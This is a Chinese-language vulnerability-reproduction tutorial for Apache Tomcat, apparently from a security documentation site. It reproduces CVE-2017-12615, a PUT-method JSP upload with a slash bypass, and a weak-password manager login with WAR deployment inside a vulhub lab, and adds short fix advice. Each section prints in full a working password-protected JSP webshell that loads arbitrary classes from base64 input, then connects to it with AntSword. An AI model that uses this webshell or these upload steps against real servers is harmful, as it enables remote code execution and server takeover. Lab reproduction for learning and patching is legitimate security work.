漏洞复现
01-环境搭建
02-Tomcat
03-Nginx
04-Apache
05-JBoss
06-WebLogic
07-Nacos
08-Struts2
09-Spring
10-Log4j2
11-Shiro
12-FastJson
13-RuoYi
14-ThinkPHP
-
+
02-Tomcat
浏览
2
# 一、Tomcat  Tomcat 是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持,最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现,Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 规范。因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为比较流行的Web 应用服务器。 Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应HTML(标准通用标记语言下的一个应用)页面的访问请求。 实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当你运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的。 # 二、CVE-2017-12615 ## 漏洞描述 2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,其中 远程代码执行漏洞(CVE-2017-12615) 当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件,JSP 文件中的代码将能被服务器执行。 ## 影响范围 - Apache Tomcat 7.0.0 - 7.0.81 ## 漏洞复现 进入靶场环境,启动容器 ```txt root@ubuntu:~/vulhub# cd tomcat/CVE-2017-12615 root@ubuntu:~/vulhub/tomcat/CVE-2017-12615# docker compose up -d ``` 访问页面  2、使用burpsuite获取该页面请求并发送到repeter模块进行重发包  3、将GET请求修改为PUT请求方法,将数据写入到请求正文中  4、请求3.txt文件,上传成功  5、上传jsp木马 shell.jsp木马的连接密码为passwd ```java <%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } %> <% String cls = request.getParameter("passwd"); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); } %> ``` 当直接上传shell.jsp时发现上传失败  6、尝试绕过,加上/,上传成功  使用浏览器访问文件,请求成功  使用蚁剑进行连接,连接成功。  ## 修复建议 - 配置readonly为true(默认为true) - 根据官方补丁升级最新版本 # 三、弱口令&War包上传 ## 漏洞描述 tomcat存在管理后台进行应用部署管理,且管理后台使用HTTP基础认证进行登录。若用户名为默认口令或弱口令,攻击者容易通过暴力破解登录后台并进行应用管理。 登录成功后有上传点,上传压缩包 xxx.war的.war不会被解析,直接访问 xxx/xxx.jsp下的木马文件,拿到webshell。 原因:Tomcat 支持在后台部署war文件,可以直接将webshell部署到web目录下。 ## 影响范围 - 全版本 ## 漏洞复现 进入靶场环境,启动容器 ```txt root@ubuntu:~/vulhub# cd tomcat/tomcat8/ root@ubuntu:~/vulhub/tomcat/tomcat8# docker compose up -d ``` 访问页面,点击manager app  要求我们输入密码,输入默认口令登陆名 tomcat、密码 tomcat,进入后台管理  通过上传war包进行getshell  shell.jsp ```jsp <%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } %> <% String cls = request.getParameter("passwd"); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); } %> ``` 将shell.jsp压缩为shell.zip  修改后缀名zip为war  上传shell.war进行访问  双击访问/shell  在war包名后跟上shell.jsp,访问成功  使用蚁剑进行连接,密码为passwd  ## 修复建议 - 在系统上以低权限运行Tomcat应用程序,根据需要执行权限最小化原则。 - 对于: (1)manager-gui:允许用户登录图形化的Web应用管理及部署页面 (2)manager-script:允许用户通过文本页面的形式执行管理命令 (3)manager-jmx:允许用户通过JMX代理接口并访问“服务器状态”页面 这三个页面,因为功能比较多,也需要对用户设置最小化权限访问原则 - 增加对于本地和基于证书的身份验证,部署账户锁定机制 在CATALINA_HOME/conf/web.xml文件设置锁定机制和时间超时限制 - 避免弱口令
毛林
2026年11月15日 18:41
转发文档
收藏文档
上一篇
下一篇
评论(0)
登录
后可发表评论
还没有评论,来抢沙发~
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
Word文档
PDF文档(打印)
分享
链接
类型
密码
更新密码
还没有评论,来抢沙发~